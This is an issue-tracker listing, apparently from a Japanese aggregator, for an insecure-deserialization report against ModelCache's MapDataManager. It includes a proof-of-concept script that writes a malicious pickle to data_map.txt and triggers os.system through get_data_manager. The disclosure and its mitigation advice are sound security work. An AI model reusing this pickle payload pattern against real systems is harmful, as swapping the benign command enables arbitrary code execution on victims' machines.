Insecure Deserialization Vulnerability in DataManager
まだ誰も着手していません。
評価
- 難易度
- 5/5
- 見積もり時間
- 1週間以上
- 初心者へのやさしさ
- 30/100
調査の方向性
まず MapDataManager と pickle.load の呼び出しを見つけ、次に get_data_manager と factory.py がどのように data_map.txt を作成して読み込むかを追跡します。安全な置き換えを選ぶ前に、キャッシュ形式と既存のテストを確認してください。キャッシュされたデータを任意のコードを実行せずに読み込め、関連する読み込み動作がテストでカバーされていれば完了です。
索引モデルが issue の本文から書いたものです。
説明
Hi,
I've discovered a critical vulnerability in the MapDataManager class where pickle.load is used to deserialize cached data from a file. The use of pickle is inherently unsafe as it can execute arbitrary Python code during deserialization. This poses a significant risk, such as enabling remote code execution (RCE) by deserializing malicious objects.
PoC
Below is a simple PoC for this issue, I also attach a picture with 'dir' payload for your reference.
import pickle
import os
from modelcache.manager import get_data_manager
# Malicious class that executes arbitrary code when deserialized
class Exploit:
def __reduce__(self):
return (os.system, ('calc.exe',)) # calc.exe for windows
malicious_payload = pickle.dumps(Exploit())
with open("data_map.txt", "wb") as f: #Using data_map.txt like in factory.py
f.write(malicious_payload)
# Simulate loading the malicious cache file
data_manager = get_data_manager(data_path="data_map.txt", max_size=1000)
While the example Flask application uses SQLite as the cache base, similar risks could arise if user-controlled data is cached into the database and subsequently deserialized.
Recommendation
To mitigate this issue, I strongly recommend avoiding pickle for serialization. Safer alternatives like JSON or MessagePack should be used, as they do not allow code execution.
Thanks.
- 主要言語
- Python
- スター
- 932
- フォーク
- 68
- PR マージ指標
- 30日以内にマージされた PR はありません
環境構築
- Dockerfile または Docker Compose ファイルあり
- プルリクエストのテンプレートなし
- コントリビューションガイドなし
はじめの一歩
- issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
- 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
- リポジトリをフォークし、ブランチを切って変更します。
- issue 番号を参照したプルリクエストを送ります。
codefuse-ai/ModelCache のほかの issue
-
提供OpenAI格式的查询接口オープン
難易度 5/5 1週間以上 初心者へのやさしさ 25/100
codefuse-ai/ModelCache#69 · コメント 1 件 ·
codefuse-ai/ModelCache の issue をすべて見る
似ている issue
-
難易度 1/5 1〜3時間 初心者へのやさしさ 88/100
fossasia/visdom-dev#69 ·
メンテナーはふだん 3 日以内に返信
-
難易度 2/5 1〜3時間 初心者へのやさしさ 75/100
メンテナーはふだん 1 日以内に返信
-
bug
難易度 2/5 1〜3時間 初心者へのやさしさ 78/100
メンテナーはふだん 1 日以内に返信
-
BUG: PROD: v1.3.0-beta Onboarding Profile Picture Misaligns When Name Validation Error Appears対応中かも @RitikaSen27 が今日担当しました。 オープンbug good first issue
難易度 2/5 1〜3時間 初心者へのやさしさ 82/100
AOSSIE-Org/PictoPy#1647 · コメント 2 件 ·
メンテナーはふだん 2 日以内に返信
-
[oblt-aw][autodoc] Update workflow docs for gh-aw v0.92.5 and detector permission scope対応中かも @github-actions が今日担当しました。 オープン
難易度 1/5 1〜3時間 初心者へのやさしさ 88/100
メンテナーはふだん 1 日以内に返信